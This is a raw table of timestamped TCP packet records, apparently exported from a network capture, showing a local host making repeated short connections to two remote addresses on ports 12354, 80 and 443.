Dec 11, 2024 16:30:21.786077976 CET	12354	55158	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:21.786169052 CET	55158	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:21.787656069 CET	55158	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:21.794801950 CET	12354	53568	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:21.794861078 CET	53568	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:21.795114040 CET	53568	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:21.795536995 CET	55317	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:21.908145905 CET	12354	55158	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:21.914928913 CET	12354	53568	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:21.915827036 CET	12354	55317	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:21.915887117 CET	55317	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:21.916675091 CET	55317	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:22.036101103 CET	12354	55317	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:22.962291956 CET	443	54686	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:22.962420940 CET	54686	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:22.963078022 CET	443	54686	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:22.963440895 CET	54686	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:22.966773987 CET	54686	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:22.966830969 CET	443	54686	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:22.966898918 CET	54686	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:23.084287882 CET	53569	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:23.084548950 CET	56184	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:23.203933954 CET	80	56184	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:23.204124928 CET	56184	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:23.204169989 CET	80	53569	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:23.204252005 CET	53569	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:23.207704067 CET	56184	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:23.327004910 CET	80	56184	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:23.532694101 CET	55317	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:23.532713890 CET	55158	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:23.532748938 CET	56184	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:23.533987999 CET	56820	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:23.645966053 CET	56925	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:23.646543980 CET	56926	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:23.688427925 CET	12354	56820	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:23.692137957 CET	56820	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:23.710427046 CET	56820	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:23.765642881 CET	80	56925	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:23.765919924 CET	56925	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:23.766216993 CET	12354	56926	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:23.766273975 CET	56925	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:23.766319990 CET	56926	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:23.766562939 CET	56926	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:23.836241961 CET	12354	56820	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:23.885904074 CET	80	56925	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:23.886094093 CET	12354	56926	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:25.338073015 CET	80	56925	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:25.338360071 CET	56925	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:25.341171026 CET	58432	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:25.341216087 CET	443	58432	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:25.341711998 CET	58432	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:25.342633963 CET	58432	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:25.342645884 CET	443	58432	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:25.804166079 CET	12354	56820	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:25.804269075 CET	56820	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:25.805218935 CET	56820	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:25.805533886 CET	59030	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:25.882987976 CET	12354	56926	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:25.883105040 CET	56926	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:25.884257078 CET	56926	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:25.910933971 CET	59127	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:25.926455021 CET	12354	56820	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:25.927333117 CET	12354	59030	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:25.927464962 CET	59030	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:25.927772045 CET	59030	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:26.004363060 CET	12354	56926	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:26.031594038 CET	12354	59127	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:26.031735897 CET	59127	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:26.032138109 CET	59127	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:26.049264908 CET	12354	59030	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:26.153405905 CET	12354	59127	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:27.035356045 CET	443	58432	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:27.035670996 CET	58432	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:27.036148071 CET	443	58432	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:27.036228895 CET	58432	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:27.039412022 CET	58432	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:27.039444923 CET	443	58432	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:27.039521933 CET	58432	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:27.147130966 CET	60113	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:27.147361994 CET	56925	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:27.267117977 CET	80	60113	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:27.267245054 CET	60113	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:27.267499924 CET	60113	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:27.268100023 CET	80	56925	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:27.271342039 CET	56925	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:27.386827946 CET	80	60113	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:27.548088074 CET	60113	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:27.548161983 CET	59127	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:27.548211098 CET	59030	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:27.549360037 CET	60620	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:27.665620089 CET	60744	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:27.665836096 CET	60745	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:27.669411898 CET	12354	60620	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:27.669517040 CET	60620	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:27.670208931 CET	60620	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:27.785288095 CET	12354	60744	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:27.785305023 CET	80	60745	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:27.785413980 CET	60745	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:27.785413980 CET	60744	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:27.785670996 CET	60744	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:27.785784960 CET	60745	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:27.789556980 CET	12354	60620	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:27.906601906 CET	12354	60744	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:27.906627893 CET	80	60745	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:29.359946012 CET	80	60745	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:29.360038996 CET	60745	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:29.363332033 CET	62243	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:29.363379955 CET	443	62243	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:29.363466024 CET	62243	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:29.363821030 CET	62243	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:29.363832951 CET	443	62243	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:29.795743942 CET	12354	60620	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:29.795818090 CET	60620	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:29.796269894 CET	60620	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:29.796622992 CET	62663	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:29.896397114 CET	12354	60744	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:29.896478891 CET	60744	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:29.896676064 CET	60744	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:29.910764933 CET	62772	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:29.915555000 CET	12354	60620	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:29.915893078 CET	12354	62663	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:29.915962934 CET	62663	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:29.916140079 CET	62663	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:30.016191006 CET	12354	60744	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:30.030225039 CET	12354	62772	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:30.030333996 CET	62772	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:30.031375885 CET	62772	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:30.035465956 CET	12354	62663	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:30.150965929 CET	12354	62772	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:31.054358959 CET	443	62243	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:31.054478884 CET	62243	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:31.055221081 CET	443	62243	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:31.055573940 CET	62243	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:31.058780909 CET	62243	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:31.058825970 CET	443	62243	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:31.058971882 CET	443	62243	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:31.059036016 CET	62243	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:31.059056044 CET	62243	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:31.176420927 CET	60745	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:31.176814079 CET	63443	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:31.296286106 CET	80	63443	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:31.297188044 CET	80	60745	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:31.297215939 CET	63443	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:31.297244072 CET	60745	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:31.297540903 CET	63443	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:31.417536020 CET	80	63443	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:31.565176010 CET	63443	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:31.565330982 CET	62772	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:31.565418005 CET	62663	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:31.566946030 CET	63969	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:31.677467108 CET	64090	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:31.677951097 CET	64091	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:31.686446905 CET	12354	63969	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:31.686553001 CET	63969	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:31.687038898 CET	63969	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:31.797255993 CET	80	64090	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:31.797342062 CET	64090	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:31.797707081 CET	12354	64091	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:31.797760963 CET	64091	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:31.797880888 CET	64090	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:31.801255941 CET	64091	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:31.807470083 CET	12354	63969	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:31.917170048 CET	80	64090	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:31.920677900 CET	12354	64091	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:33.375272036 CET	80	64090	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:33.376219034 CET	64090	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:33.383526087 CET	65405	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:33.383568048 CET	443	65405	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:33.383694887 CET	65405	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:33.384236097 CET	65405	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:33.384248018 CET	443	65405	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:33.819428921 CET	12354	63969	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:33.820339918 CET	63969	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:33.820339918 CET	63969	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:33.820718050 CET	49596	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:33.939949989 CET	12354	63969	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:33.939982891 CET	12354	49596	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:33.940116882 CET	49596	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:33.944379091 CET	49596	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:34.064282894 CET	12354	49596	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:34.399527073 CET	12354	64091	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:34.399606943 CET	64091	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:34.399748087 CET	64091	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:34.400249958 CET	50169	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:34.522758961 CET	12354	64091	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:34.523219109 CET	12354	50169	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:34.523299932 CET	50169	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:34.523425102 CET	50169	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:34.643261909 CET	12354	50169	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:35.063605070 CET	443	65405	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:35.063673973 CET	65405	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:35.064475060 CET	443	65405	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:35.064523935 CET	65405	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:35.067616940 CET	65405	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:35.067666054 CET	443	65405	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:35.067836046 CET	443	65405	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:35.067888975 CET	65405	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:35.067904949 CET	65405	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:35.197495937 CET	64090	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:35.197668076 CET	50784	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:35.317060947 CET	80	50784	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:35.317138910 CET	50784	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:35.317466021 CET	80	64090	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:35.317513943 CET	64090	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:35.335278034 CET	50784	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:35.454859018 CET	80	50784	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:35.582468033 CET	50169	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:35.582515955 CET	50784	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:35.582535982 CET	49596	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:35.583303928 CET	51209	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:35.702663898 CET	12354	51209	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:35.702750921 CET	51209	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:35.703378916 CET	51209	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:35.776177883 CET	51400	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:35.776391029 CET	51401	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:35.822669983 CET	12354	51209	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:35.895623922 CET	12354	51400	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:35.895637989 CET	80	51401	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:35.895720005 CET	51401	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:35.895720005 CET	51400	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:35.895973921 CET	51400	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:35.900023937 CET	51401	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:36.016444921 CET	12354	51400	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:36.021141052 CET	80	51401	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:37.469670057 CET	80	51401	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:37.469769955 CET	51401	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:37.475342989 CET	53014	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:37.475382090 CET	443	53014	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:37.476022959 CET	53014	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:37.476784945 CET	53014	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:37.476813078 CET	443	53014	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:37.823519945 CET	12354	51209	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:37.823682070 CET	51209	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:37.823682070 CET	51209	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:37.824022055 CET	53400	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:37.943191051 CET	12354	51209	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:37.943520069 CET	12354	53400	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:37.943624973 CET	53400	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:37.943778038 CET	53400	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:38.021713018 CET	12354	51400	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:38.024082899 CET	51400	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:38.028270006 CET	51400	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:38.028682947 CET	53467	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:38.063019037 CET	12354	53400	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:38.147660017 CET	12354	51400	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:38.149457932 CET	12354	53467	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:38.149595976 CET	53467	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:38.149720907 CET	53467	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:38.269177914 CET	12354	53467	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:39.163017035 CET	443	53014	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:39.163080931 CET	53014	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:39.163845062 CET	443	53014	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:39.164005041 CET	53014	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:39.167555094 CET	53014	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:39.167619944 CET	443	53014	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:39.167675972 CET	53014	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:39.285312891 CET	51401	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:39.285554886 CET	54667	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:39.405873060 CET	80	54667	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:39.405961990 CET	54667	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:39.406455994 CET	54667	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:39.419967890 CET	80	51401	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:39.420073986 CET	51401	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:39.526952028 CET	80	54667	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:39.707545042 CET	54667	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:39.707607031 CET	53400	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:39.707629919 CET	53467	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:39.708477020 CET	55046	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:39.819340944 CET	55162	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:39.820209026 CET	55164	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:39.830373049 CET	12354	55046	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:39.830478907 CET	55046	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:39.830951929 CET	55046	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:39.941709042 CET	12354	55162	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:39.941857100 CET	55162	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:39.942255974 CET	55162	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:39.942492008 CET	80	55164	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:39.942576885 CET	55164	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:39.943402052 CET	55164	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:39.952811956 CET	12354	55046	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:40.067522049 CET	12354	55162	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:40.068629026 CET	80	55164	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:41.505244970 CET	80	55164	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:41.505332947 CET	55164	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:41.548835039 CET	56387	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:41.548885107 CET	443	56387	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:41.549714088 CET	56387	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:41.578036070 CET	56387	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:41.578051090 CET	443	56387	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:41.960254908 CET	12354	55046	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:41.962332010 CET	55046	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:41.962804079 CET	55046	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:41.962871075 CET	56809	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:42.052983999 CET	12354	55162	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:42.053041935 CET	55162	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:42.053174019 CET	55162	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:42.069375038 CET	56948	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:42.082470894 CET	12354	55046	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:42.082535982 CET	12354	56809	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:42.082611084 CET	56809	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:42.083275080 CET	56809	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:42.173540115 CET	12354	55162	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:42.189243078 CET	12354	56948	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:42.189372063 CET	56948	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:42.200676918 CET	56948	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:42.202650070 CET	12354	56809	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:42.321204901 CET	12354	56948	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:43.264312983 CET	443	56387	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:43.264641047 CET	56387	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:43.265166044 CET	443	56387	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:43.265217066 CET	56387	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:43.268238068 CET	56387	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:43.268290997 CET	443	56387	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:43.268445015 CET	443	56387	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:43.268486977 CET	56387	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:43.268486977 CET	56387	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:43.379609108 CET	55164	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:43.380068064 CET	57485	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:43.499466896 CET	80	57485	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:43.500005960 CET	57485	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:43.500086069 CET	80	55164	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:43.500257969 CET	55164	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:43.500320911 CET	57485	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:43.619856119 CET	80	57485	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:43.719782114 CET	57485	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:43.719839096 CET	56948	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:43.719943047 CET	56809	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:43.720877886 CET	57838	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:43.838063002 CET	57932	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:43.838629007 CET	57933	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:43.840922117 CET	12354	57838	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:43.841032982 CET	57838	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:43.841146946 CET	57838	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:43.958233118 CET	12354	57932	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:43.958254099 CET	80	57933	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:43.958340883 CET	57932	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:43.958441019 CET	57933	80	192.168.2.8	202.108.0.52
